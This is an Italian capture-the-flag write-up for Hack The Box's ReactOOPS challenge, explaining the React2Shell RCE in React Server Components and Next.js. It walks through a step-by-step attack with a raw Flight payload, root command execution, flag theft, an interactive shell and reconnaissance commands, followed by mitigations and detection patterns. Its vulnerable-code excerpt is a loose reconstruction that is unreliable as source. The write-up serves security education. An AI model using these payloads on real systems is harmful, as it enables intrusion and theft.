Writeup Hack The Box per la challenge ritirata ReactOOPS - Soluzione completa e guida didattica alle CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Include analisi dettagliata della vulnerabilità, tecniche di sfruttamento e materiali di apprendimento per il team.
ReactOOPS è una sfida web che sfrutta CVE-2025-55182 / CVE-2025-66478, una vulnerabilità critica di esecuzione remota di codice non autenticata in React Server Components e Next.js App Router.
Risultati Chiave:
hasOwnProperty mancante nella deserializzazione del protocollo FlightLa sfida presenta un'applicazione Next.js curata che esegue l'interfaccia dell'assistente di NexusAI. L'applicazione sembra gestire l'input dell'utente tramite React Server Components, ma piccoli glitch nel layer reattivo suggeriscono vulnerabilità sottostanti.
L'applicazione utilizza:
Il protocollo Flight è il formato di serializzazione proprietario di React per trasmettere dati tra server e client nelle architetture Server Component. Utilizza riferimenti come:
$1 - Riferimento all'oggetto nella posizione 1$1:path:to:value - Attraversamento del percorso di proprietàCodice Vulnerabile in ReactFlightReplyServer.js di React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
La Versione Sicura (Come Dovrebbe Essere):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Senza il controllo hasOwnProperty, un attaccante può attraversare:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
La vulnerabilità esiste prima della validazione Next-Action:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
Attivando l'RCE durante la deserializzazione, gli attaccanti aggirano tutti i controlli di sicurezza a livello di azione.
# Test if service is responding
curl -v http://<IP>:PORT/
Previsto: un'applicazione Next.js che serve HTML con RSC abilitato
Cerca indicatori:
next-<script type="text/x-component">.nextL'indicatore più affidabile è tentare un attacco di prototype pollution e osservare la risposta:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
Obiettivo: Confermare che il server sia vulnerabile senza causare danni
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
Cosa Fa:
Next-Action: x["$1:a:a"] che referenzia l'oggetto vuoto {}{}.a.aOutput Previsto:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretazione:
E{"digest" nella risposta: ✅ Formato di gestione errori di ReactObiettivo: Verificare l'esecuzione di comandi arbitrari
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
Cosa Fa:
Next-Action: xOutput Previsto:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Osservazione Chiave: L'output mostra uid=0(root) - il server web è in esecuzione come root! Questa è una errata configurazione di sicurezza che amplifica l'impatto.
Obiettivo: Mappare il filesystem e individuare i file sensibili
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
Struttura della Directory Scoperta:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
Risultato Critico: Il file della flag esiste in /app/flag.txt con permessi restrittivi (600)
Obiettivo: Leggere il file della flag
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
Output:
HTB{jus7_REDACTED_2025-55182}
✅ Sfida Completata!
Lo sfruttamento costruisce un payload del protocollo Flight. Ecco come appare un payload di comando:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value
3. Resolve reference path
→ Reference: "$1:__proto__:then"
→ Split on colons: ["", "__proto__", "then"]
→ Start with chunk[1]
→ Access [__proto__] → traverse to prototype
→ Access [then] → access then method
4. Construct fake Promise
→ Create object with .then() method
→ Method contains command payload
5. Execute Promise .then()
→ React treats as Promise-like
→ Calls the .then() handler
→ CODE EXECUTES AS ROOT
| Script | Meccanismo | Codice HTTP | Rilevamento |
|---|---|---|---|
| exploit-redirect.sh | Attraversamento del prototipo + catena Promise | 303 | x-action-redirect |
| exploit-throw.sh | Errore nel try-catch | 500 | Errore nel body |
| exploit-blind.sh | Canale laterale (scrittura file, DNS) | 200 | Out-of-band |
| exploit-reflect.sh | Reflection diretta nella risposta | 200 | Output del comando nel body |
| shell.sh | Wrapper interattivo | Varia | Interfaccia REPL |
Abbiamo usato exploit-redirect.sh perché:
Azioni Immediatamente (Prima della Patch):
Disabilitare RSC se non necessario
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
Limitare l'uso di Next-Action
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
Segmentazione della Rete
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
Applicare la Patch Immediatamente:
# Update Next.js
npm install next@latest
# Or specific patched version
npm install [email protected]
# Verify versions
npm ls next react-server-dom-webpack
Indurimento della Sicurezza:
Eseguire i server web come non-root
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
Validazione degli Input
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
Rate Limiting
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
Regole WAF:
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
Monitoraggio dei Log:
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
Rilevamento Comportamentale:
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
Un Singolo Controllo Mancante = Vulnerabilità Critica
hasOwnProperty era stata importata ma non utilizzataLa Catena dei Prototipi è Pericolosa
obj[key]hasOwnProperty o Object.create(null) per input non fidatiLa Deserializzazione Prima della Validazione è Rischiosa
I Privilegi di Default del Processo Contano
Il Rilevamento Non Distruttivo è Prezioso
detect.sh dimostra la vulnerabilità senza causare danniRicognizione Sistematica
Comprendere la Tecnologia
| Tempo | Azione | Risultato |
|---|---|---|
| T+0s | Test di connessione iniziale | Servizio che risponde |
| T+10s | Esegue detect.sh | VULNERABILE confermato |
| T+30s | Esegue il comando id | privilegi root confermati |
| T+1m | Elenca la directory /app | Posizione della flag trovata |
| T+1m 30s | Legge il file della flag | Flag estratta |
| T+2m | Verifica | Sfida completata |
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"